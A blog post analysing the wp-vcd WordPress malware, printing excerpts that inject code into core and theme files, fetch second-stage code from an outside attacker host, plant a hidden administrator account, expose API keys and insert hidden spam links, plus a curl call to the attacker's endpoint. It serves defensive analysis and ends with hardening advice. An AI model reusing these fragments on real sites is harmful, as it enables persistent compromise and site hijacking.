Wp-vcd Malware Analysis

Another Wordpress malware crossed my path. Let’s look inside it.

I had no clue about the presence of this malware on one of the inelemento network wordpress websites if the firewall didn’t warn me about a change inside a core wp file, wp-includes/post.php :

<?php if (file_exists(dirname(__FILE__) . '/wp-vcd.php')) include_once(dirname(__FILE__) . '/wp-vcd.php'); ?><?php
/** 2 /**
* Core Post API
A repo with all the files is available here.

wp-vcd.php

The injected wp-vcd.php file starts with a long base64 encoded string named $install_code

$install_code = 'PD9waHANCg0KaWYgKGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pIC[...]
$install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
$install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));

This file injects the code of this encoded string inside the theme’s functions.php, taking care of resetting the modification date and time

if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')){
if (strpos($content, 'WP_V_CD') === false){
$content = $install_code . $content ;
@file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );
}
else { $ping = false; }
}

then it populates remotely a database/array of hostnames and passwords of the code injections via o.php and downloads the content of a remote txt file inside class.wp.php

$content = @file_get_contents('http://www.aotson.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
@file_put_contents(ABSPATH . '/wp-includes/class.wp.php', file_get_contents('http://www.aotson.com/admin.txt'));

You can add your own websites if you want

$ curl "http://www.aotson.com/o.php?host=google.com&password=0rly?"
===========Inserted $ curl "http://www.aotson.com/o.php?host=google.com&password=0rly?"
0rly?

class.wp.php

class.wp.php tries to inject a user inside the wp db

$wpdb->query("INSERT INTO $wpdb->users (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('100010010', '100010010', '\$P\$BaRp7gFRTND5AwwJwpQY8EyN3otDiL.', '100010010', 'te@ea.st', '', '2011-06-07 00:00:00', '', '0', '100010010');");

And messes with an Envato Market Wordpress Toolkit API key, probably as a way to update themes

if( isset($_GET['key']) ) { $options = get_option( EWPT_PLUGIN_SLUG ); echo '<center><h2>' . esc_attr( $options['user_name'] . ':' .  esc_attr( $options['api_key'])) . '<br>';
echo esc_html( envato_market()->get_option( 'token' ) ); echo '</center></h2>'; }}

Then injects the content of another remote txt file, codecxc.txt inside the temporary php directory

$tmpfname = tempnam(sys_get_temp_dir(), "wp_temp_setupx");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);

Inside codexc.txt I found some variables and a pair of Envato Market themes are cited

//$exec=exec('mv /var/sites/e/exchange.stirlingworx.tech/public_html/wp-content/themes/Gridlove/gridlove/functions.php');
//file_put_contents('/home/hoefsmederijvanr/public_html/wp-content/themes/betheme/functions.php', $file);

probably past victims. The first was a real estate in London (now down) and the second is a surname in the Netherlands.

functions.php

The b64 is injected at the top of functions.php, and seeks inside the wp db for posts and links to substitute them with new content

foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
[...]
$post_content = preg_replace('!<div id="'.$div_code_name.'">(.*?)</div>!s', '', $data -> post_content);
[...]
$file = preg_replace('/'.$matcholddiv[1][0].'/i',$_REQUEST['newdiv'], $file);
[...]
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))

The html content is in part present inside the php, and in part downloaded remotely, with the help of the remote code1.php

if ( ! function_exists( 'wp_temp_setup' ) ) {
$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
if($tmpcontent = @file_get_contents("http://www.aotson.com/code1.php?i=".$path))

which provides the main div

<style>.crdtsp{position:absolute;left:-1000px;}</style>
<div class="crdtsp">
<a href="https://www.downloadfreethemes.download/">downloadfreethemes</a></div>

even with a Google Analytics embed. With a rapid search with Google we can see that the attack was effective on many websites. Some of them very recently.

It goes without saying that both aotson.com and downloadfreethemes.download take advantage of the new domain privacy services to protect the identity of the registrants. Both use WhoisGuard by Cloudflare.

Conclusion

Although that’s not a particularly dangerous malware, extra care is needed to avoid to become victim of this kind of attacks even with an updated Wordpress install.

Keep a firewall with core files changes monitoring and always update themes.

You can reach me for Wordpress Security at inelemento.

Update

I noticed that this malware is capable to propagate in a shared hosting where multiple wordpress installations are present on the same root directory (cross site contamination).

Thanks to Gaël I can also add that it can cause downtimes in some cases.

It has been reported that the infection comes sometimes from nulled wordpress themes & plugins.

Refer to the analysis by Gabriele Serra for additional insights on how the malware spreads.

Update #2: Responses

I advice everyone who responded searching for help on the infection to contact a specialized website security professional for consulting. 
As I indicated above I am available at manuel@inelemento.it .